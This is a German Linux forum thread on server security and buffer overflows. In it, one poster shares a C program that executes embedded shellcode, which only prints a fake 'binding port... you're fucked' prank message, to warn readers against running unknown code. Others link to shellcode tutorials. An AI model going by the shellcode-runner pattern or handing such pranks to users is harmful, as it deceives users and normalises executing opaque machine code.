dass das programm eben nicht mit einem segfault terminiert, sondern den shellcode ausführt (i.a. ASM code)

wenn der shellcode jetzt zum beispiel einen kleinen server an port 4711 bindet,

kann sich der angreifer sodann mit diesem port verbinden und erhält somit eine

shell mit den berechtigungen des programms, das den code aufgrufen hat.

(zum beipiel apache, wwwrun, proftpd)

das ist der grund, warum man serverdienste _nie_ als root laufen lassen darf !!!!

sollte der exploitete dienst als root laufen, erhält der angreifer eine rootshell. !!!

das gleiche mit suid root binarys.

durch einen erfolgreichen exploit dieser hat der angreifer eine shell mit uid=0 zu verfügung.

dannach baut ein angreifer i.a. eine hintertür ein.

i.a. werden binarys verändert, mit einem trojaner versehen, der sicherstellt, dass der angreifer

auch weiterhin zugang zum system hat.

hier sei auf tools wie aide verwiesen...

das cracken von dateien wie /etc/shadow ist für einen hacker nicht erforderlich, um zugang

zum system zu erhalten, noch dazu ihn zu behalten...

hoffe, das zu posten war legal + ok...

gruss

rootshell

----------

## finalmove

hallo @rootshell,

ich weiß nicht aber irgend wie habe ich das gefühl wie wenn ihr mir nicht antworten wollt ich habe euch doch gebeteen mir zu helfen.

Naja wiedem auch sei hoffe ich ihr werdet meine frage die ich jetzt schon 2 mal gepostet habe und hiermit ein 3 mal darauf verweiße beantworten.

Und zu den exploits, mit jenen beschäftige ich mich auch schon seit längerem und habe dazu einen guten link gefunden hoffe es ist erlaubt diesen zu posten! 

www.zotteljedi.de/doc/stacksmashing/stacksmashing.html

danke, und ich hoffe ihr beantwortet mir die frage zu den symlinks!

mfg finalmove

----------

## leuenberger

Ich nehme an, Du meinst mit der Symlink-Sache folgendes:

```
user@linux:~ > ln -s /etc/shadow test
```

Und jetzt? Jetzt bist du nicht besser dran als vorher. Du hast zwar einen schönen Link:

```
user@linux:~ > ls -l test

lrwxrwxrwx    1 user     users       11 13. Mai 21:59 test -> /etc/shadow
```

Du kannst aber die Datei /etc/shadow nicht manipulieren.

```
user@linux:~ > cat test

cat: test: Keine Berechtigung
```

Ja, ja, Ich weiss. Ich sollte meiner Bash sprachliche Manieren beibringen  :Cool: 

@rootshell

Gibst Du auch Kurse oder so was  :Question:  Dein Postings sind immer amüsant und lehrreich. Vielen Dank!

----------

## cng

@finalmove

ich glaube kaum, dass man dir so einfach helfen kann. ich musste selber erfahren, dass das nicht geht (zu umfangreich). das einzige, was man hier

machen kann (vernünftig) sind dir hinweise geben. das gebiet sicherheit ist so etwas von vielfältig und es existieren x-bücher der einzelnen 

themen (mit je ca. 700 - 1500 Seiten). "der koffler" beschreibt allg. über linux, "linux-firewalls" beschreibt ip-chain, ip-tables usw. und "apache" ist

wohl klar. in all diesen büchern kannst du auf über 2000 seiten etwas über sicherheit lerenen. nun. es sollte nun klar sein, dass das hier also

nicht geht. was man hier kann, sind dir in den einzelheiten hilfe anbieten. zuvor müsstest du dich mit hilfe von büchern und dockus selber einarbeiten.

@rootshell

wer ist das auf deinem avatare?

----------

## Ragin

Weil wir schon beim Thema Bücher sind.

Das Buch "Das Anti-Hacker-Buch für Linux" (ISBN: 3-8266-0669-8 / mitp.de) ist keine schlechte Lektüre wenn du einen guten Überblick über Sicherheiten und Lücken haben willst.

Auch wenn der Titel des Buches nach einem weiteren "Hackers Blackbook" usw. vermuten lässt so findest du in diesem Buch viele Punkte, die dir aufzeigen wie es möglich ist sich auf einen Server einzuhacken. Dabei werden teilweise auch Tipps gegeben auf was man achten und was man als Gegenmaßnahme machen kann.

Das Buch kostet nur 34,95 Euro UVP und ist somit für seine > 650 Seiten recht billig.

Für den Einstieg um ein wenig Sinn für dieses Thema zu bekommen ist es auf jeden Fall sehr gut geeignet.

----------

## tuxedo

Hallo zusammen

Ich möchte nochmals ausführen, was einige meiner Vorposter bereits geschrieben haben: Eine Firewall nützt nichts, wenn die Dienste, welche dahinter laufen unzureichend konfiguriert sind. Per default sind nur die wenigsten (wenn nicht sogar alle) Dienste auf einem Server unsicher. Die Sicherheit kommt erst hinzu, wenn sich der Administrator intensiv damit auseinandersetzt und dann entsprechend den gemachten Erfahrungen und  unter Mithilfe von Manuals, Dokumentationen, Foren, Usenet etc. die Serverdienste konfiguriert. Dies sollte immer der _erste_ Schritt bei der Konfiguration sein. Eine Faustregel besagt: "Ein Server bzw. die Dienste darauf sollten so gehärtet werden, als ob es keine Firewall hätte."

Erst der zweite Schritt besteht aus der Definition von Regeln auf dem Paketfilter (oder umgangssprachlich Firewall). Diese müssen sorgfältig auf die laufenden Dienste abgestimmt werden.

Ein sicherer Linux-Server (eigentlich gibt es gar keine sicheren Server, auch unter Linux nicht) lässt sich nicht ein paar Stunden aufsetzen. Ausserdem sollte sich der/die Sysadmin _vor_ dem Setup überlegen:

a) Für was er/sie den Server überhaupt braucht

b) Welche Dienste auf dem Server laufen _müssen_

c) Welche Administrationswerkzeuge er/sie auf dem Server benötigt

d) Wer auf die Dienste von wo aus Zugriff haben soll

e) Wie vertraulich die Daten auf dem Server sein werden

Wenn er/sie sich nämlich zuvor bereits Gedanken darüber macht, ist er/sie besser auf den Ernstfall vorbereitet und weiss auch was tun. Es nutzt also nicht, einfach ein Firewall aufzusetzen, wenn man nachher nicht weiss, wie man bei einem Einbruch reagieren soll.

Zu dem ganzen Thema kann ich das Buch:

"Sichere Server mit Linux" von Michael D. Bauer aus dem O'Reilly Verlag (ISBN: 3-89721-139-4)

wärmstens empfehlen. Ausserdem, wie schon erwähnt, empfiehlt sich eine Lektüre des Gentoo Security Guide unter http://www.gentoo.org/doc/en/gentoo-security.xml

Ergänzungen/Kritik werden gerne entgegen genommen.

Einen schönen Abend wünscht

tuxedo

----------

## ruth

hi,

 *leuenberger wrote:*   

> 
> 
> @rootshell
> 
> Gibst Du auch Kurse oder so was  Dein Postings sind immer amüsant und lehrreich. Vielen Dank!

 

danke, danke...

sowas tut immer gut...

kurse - das sollte ich mal tun wahrscheinlich...  :Wink: 

@cng:

sag ich ned... *grins*

gruss

rootshell

----------

## LockeAverame

mit den buffer overflows is net ganz richtig erklärt.

also mal etwas kurz:

jedes programm ist meist in subroutinen zerlegt, functions.

wenn das propgramm auf eine function zugreift (sie aufruft), legt die bisherige function ihre variablen und zuletzt ihre rücksprungaddresse auf den stack und ruft dann die addresse der neuen function mit parametern oder ohne auf.

wenn diese function sich beendet dann holt sie sich aus dem stack die rücksprungaddresse der sie aufrufenden function und ruft sie auf mit parametern oder ohne.

beim buffer overflow ist es meist das ziel durch überschreiben eines puffers, variablen etc. die rücksprungaddresse dieser function mit einer eigenen gültigen rücksprungaddresse zu überschreiben, die eine addresse auf die eigene function enthält zB aufruf einer shell.

naja iptables als low end frontend zu bezeichnen wird ich so nicht sagen, die internen routingtables sind auch noch gut manipulierbar, was manchmal sehr praktisch is. iptables is schon recht komfortabel und alles andere als lowlevel. aber es gibt leider keine gescheite doku im netz, man kann sich nur mit den manpages beschäftigen oder sich ein gutes buch zulegen.

----------

## ruth

gaaaah !!!

```

/* little_toy.c

 * (c) 2004 rootshell <rootshell@front.ru>

 * this program is totally -->> !!! HARMLESS !!! <<-- i promise... ;-)

 * made it just 4 you, LockeAverame *gg*

 * compile with: gcc -o little_toy ./little_toy.c

 * then execute ./little_toy

 * have phun ;-)

 * greetZ fly out to: n0ne t0day ;-)

 */

#include <stdio.h>

char some_cool_code[]=

"\xeb\x19\x5e\x31\xc0\x31\xdb\x31\xd2\x89\xf1\x80\xc3\x01\xb0\x04"

"\xb2\x6f\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xe2\xff\xff\xff"

"\x67\x6f\x6f\x64\x20\x2d\x20\x68\x65\x72\x65\x20\x61\x67\x61\x69"

"\x6e\x2e\x2e\x2e\x20\x3b\x2d\x29\x20\x62\x69\x6e\x64\x69\x6e\x67"

"\x20\x70\x6f\x72\x74\x2e\x2e\x2e\x20\x4f\x4b\x21\x20\x65\x6e\x74"

"\x65\x72\x69\x6e\x67\x20\x73\x74\x65\x61\x6c\x74\x68\x20\x6d\x6f"

"\x64\x65\x2e\x2e\x2e\x20\x4f\x4b\x21\x20\x79\x6f\x75\x27\x72\x65"

"\x20\x66\x75\x63\x6b\x65\x64\x2e\x2e\x2e\x20\x67\x72\x65\x65\x74"

"\x7a\x20\x72\x6f\x6f\x74\x73\x68\x65\x6c\x6c\x20\x3b\x2d\x29";

int main()

{

  void (*blah)();

  (char *)blah = some_cool_code;

  blah();

}

```

viel spass...  :Wink: 

DAS ist shellcode... *gg*

know your enemy...

gruss

rootshell

p.s

das soll folgendes zeigen:

- ich weiss, wovon ich spreche

- pseudos gehen mir auf den geist

- es ist nicht immer ratsam, programme einfach auszuführen, wenn man keine ahnung hat,

  was es tut...

- NEIN, dieses programm tut nichts böses - es zeigt dir dinge... ,-)

----------

## Ragin

Könntest du mal den richtigen Code für some_cool_code schreiben?

Würde mich mal interessieren was genau du da machst  :Surprised: ).

----------

## DerMojo

Ich könnte ihn dir verraten  :Wink: 

Das größte Risiko sitzt manchmal vor der Tastatur... copy & paste und ausgeführt!

@rootshell

coole Idee  :Wink: 

Daniel

----------

## Ragin

Naja...ich hab so meine Probleme Code aus diesem Thread auszuführen  :Smile: 

Man weiss ja nie was noch drin steckt.

Soweit ich das weiss sind diese Shellcodes ja teilweise Opcodes oder halt Assemblercode um die Speicher zu verändern. Das heisst theoretisch könnte da verdammt viel drin stehen...könnte auch nicht...

----------

## leuenberger

@rootshell

am I?

----------

## ruth

hi,

 *leuenberger wrote:*   

> @rootshell
> 
> am I?

 

NOPE, 

du kannst ja mal strace'en, dann siehst du, was da passiert...

oder reversen, was dir besser gefällt...  :Wink: 

was mich eher beschäftigt, ist die tatsache, dass dieses programm auch ohne kenntniss des

inhaltes kopiert, kompiliert und ausgeführt wurde (nicht nur von dir !!!  )...

und da motzen die leute über die windows welt, in der unbedacht auf email attachments geklickt wird...

geklickt ist schnell, aber kopiert, kompilert und ausgeführt ???   :Shocked: 

das macht mich schon etwas stutzig....

was wäre, wenn ich statt einem lustigen text deine festplatte gelöscht hätte?

oder den rechner tatsächlich exploitet hätte?

wenn jemand meinen forenaccount gehackt hätte, und da wirklich einen trojaner über meine account verbreitet hätte... ???

(also analog zum problem, dass sich unter windows viren mit gefälschtem absender verbreiten...)

denkt mal drüber nach... 

gruss

rootshell

----------

## leuenberger

Nö, so leichtsinnig bin ich nicht. Ich habe mir nur den Assembler generieren lassen:

```
gcc -S little_toy.c
```

Allerdings hat mir das nicht geholfen. Assembler ist wie c nicht gerade meine Stärke. Ich denke der Schlüssel liegt in den ersten beiden ersteb Zeilen des some_cool_code-Arrays.

Das Beispiel ist sehr spannend. An einer Erklärung wäre ich auf jeden Fall auch interessiert. Mein Interesse hast Du auf jeden Fall geweckt. Werde mich wohl in der nächsten Zeit mehr mit diesem Thema auseinandersetzen. Es gibt noch viel ähnliche Beispiele im Netz. Die meisten sind aber einfacher zu verstehen.

Gruss Reto

----------

## tuxedo

rootshell:

Kannst du uns Unwissenden erkären, was da genau passieren soll (ich hab den Code selbst nicht ausprobiert, ist mir zu kritisch)? Soviel ich verstanden habe, wird die Funktion blah() mit dem "Code"  aus some_cool_code überschrieben. Doch was steht darin genau?

----------

## amne

 *rootshell wrote:*   

> 
> 
> was mich eher beschäftigt, ist die tatsache, dass dieses programm auch ohne kenntniss des
> 
> inhaltes kopiert, kompiliert und ausgeführt wurde (nicht nur von dir !!!  )...
> ...

 

Genau. Wenn man schon was kopiert und ausführt, dann nur aus dem IRC!  :Wink: 

----------

## finalmove

Hallo zusammen ich finde die letzten posts echt voll interessant,

ich wollte aber mal was fragen @rootshell, ich beschäftige mich zur zeit auch ein wenig mit assembler naja hab ein buch das ich durcharbeite.

Aber ich würde gerne wissen wie ich aus meinem assembler code mov push usw.

so etwas bekomme "/X02/bf/a" usw, also den direkten maschienencode.

mfg finalmove

----------

## Ragin

Mit ein bisschen suchen hättest folgendes auch irgendwann gefunden  :Smile: 

http://nux-acid.org/txt/fbsdshellcode.txt

Das ist zwar für FreeBSD, aber auch auf andere Systeme anwendbar  :Smile: 

----------

## ruth

hi,

also ich werde hier im gentoo forum bestimmt keine anleitung posten, wie man von

plain C code auf shellcode kommt...

wozu verwendet man denn shellcode normalerweise?

wenn man davon ausgeht, dass _alle_/_viele_ publizerten proof of concept exploits

fehler aufweisen, die meisten im verwendeten shellcode, kommt ein

allgemeinverständliches howto einem text:

wie kann ich aus einem proof-of-concept-exploit eine scharfe waffe basteln howto gleich.

das werde ich definitiv _nicht_ tun.

wenn das jemand anders posten will, ok...

aber ich nicht.

little_toy.c war ja mehr als demo gedacht, dass ich durchaus weiss, wovon ich spreche...  :Wink: 

nicht zuletzt geht ja das letzte posting von finalmove ziemlich direkt 

und ohne umschweife in diese richtung...  :Wink: 

gruss

rootshell

----------

## LockeAverame

opcodes für die jeweiligen mnemonics entnimmste am besten den developer docs von intel oder amd wenns sich auf x86 bezieht.

den shell code da oben kannste zB auf ppc vergessen.

----------

## finalmove

hallo zusammen,

hab mich schon lange nicht mehr gemeldet, @rootshell, wollte dich oder auch niemanden andern verärgern.

Frage an LockeAverame was sind "mnemonics" und wo bekommt man die developer docs von intel und amd her.

ok vielen dank schon mal gruß finalmove

----------

## tuxedo

Google ist dein Freund:

http://developer.intel.com/design/pentium4/manuals/253665.htm

Diese Dokumentationen beschreiben die IA-32 Architektur allgemein (also auch 32bit AMD)

http://www.amd.com/us-en/Processors/TechnicalResources/0,,30_182_739_7203,00.html

Hier für den Athlon64

Gruss tuxedo

----------

## LockeAverame

Mnemonics heissen die stringartigen bezeichnungen wie mov fmul und co, die für opcodes stehen.

der assembler wandelt sie dann in hexwerte um.

aber falls du keine mnemonics kennst, wirds schwer den shellcode zu verstehen ^^.

gibt mehrere gute docs zu den cpus und den instructions, findeste alle unter developer oder documentation und sowas auf den intel und amd pages.

so, hab aber momentan nen anderes prob.

die neuen avermedia dvb-t karten haben nen netten neuen demodulator wo es mal wieder nur sporadische treiber im cvs gibt.

naja entwickle derzeit an mt352.c mal schaun ob ich die tuneransteuerung hinbekomme, doku is bekanntlich schwach.

ok, zuviel gelabert ^^

cheers

----------

## thund3rbird

Halli Hallo und Hellas an alle Firewallfreunde ..  :Smile: 

finalmove hat mit seinen Bedenken kein unnötigen Spampost aufgerufen sondern eine wichtige Frage in den Raum geworfen über die sich die meisten Linux/Server User garnicht im klaren sind.

You are only good saved and fast, if it's your firewallsystem, too!!

Mich haben diese Fragen auch schon die ganze Zeit geplagt und ich habe mir darüber den Kopf zerbrochen .... Wie sicher kann man ein Sytem wirklich machen? Ist SELinux die Lösung? Was ist an SELinux anders ?

Fragen über Fragen auf die es viele Antworten gibt die kein Mensch versteht.

Um nun kurz auf das wesentliche einzugehen ....

Ich habe bei mir 2 Physische Server laufen ... ein Firewallsyetem (Routersystem) auf dem iptables mit fwbuilder laufen, der squid und dns-scherze. In der in der Firewall definierten DMZ steht dann der eigentlich File- oder Domainserver auf dem Samba, Postfix, Sendmail, Apache, Mysql, PHP etc. laufen .....

Das ist in sofern schonmal auf jedenfall sicherer, weil ich meine Server physikalisch getrennt habe. Auf die Firewall sind keine Ports offen !!!

Und auf den File-, Web- oder Domain sind nur die Apache, SSH und mailports offen .. d.h. wenn ich durch einen dieser Ports gehackt werden sollte, dann ist der Bösewicht zunächst erstmal auf meinem (ich sag mal harmlosen fielserver) der in der DMZ steht und weis von dort aus nicht weiter, da er die Ip-Adressen meines eigentlichen Netzes nicht kennt ..

Intern ist dann auch wieder nur das nötiges an Datenverkehr erlaubt.

Das ist wirklich ein sicheres System vor Hackern, aber was mir im Moment ein bisschen die Haare vom Kopf frisst, sind die schei** Spyware geschichten, weil diese kommen trotzdem durch und verseuchen meine Windowskisten hinter diesem Netzwerk. Also eine 100%ige Sicherheit werdet ihr niergendswo bekommen.

Ich sage immer wer ins Pentagon kommt, kommt auch bei mir rein.  :Smile: 

Ein Nachteil den ich bei dieser Lösung mit 2 Physikalischen Server hatte, waren die hohen Stromrechnungen am Ende des Monats .. Server liefen halt immer 24 Stunden, 7 Tage die Woche NON STOP durch ...

Was mich jetzt wieder dazu bewegt hat, alles auf einen Server umzustellen.

Sicherheit hat ihren Preis und man muss sich überlegen wie viel man darin investieren möchte.

Ich hoffe ich konnte euch ein bisschen Klarheit in die ganze Firewallthematik geben und die Gefahren und Sicherheiten der Systeme.

Wünsche euch noch viel Spaß beim basteln, ausprobieren und portblocken  :Smile: 

Auf das uns die Hacker verschohnt bleiben  :Smile: 

Greetz

thund3rbird

----------

## slick

Nette Artikel zum Thema: 

http://www.heise.de/security/artikel/48470

http://www.heise.de/security/artikel/41597

besonders sei auch der folgende Link empfohlen:

http://www.heise.de/security/artikel/41151

----------

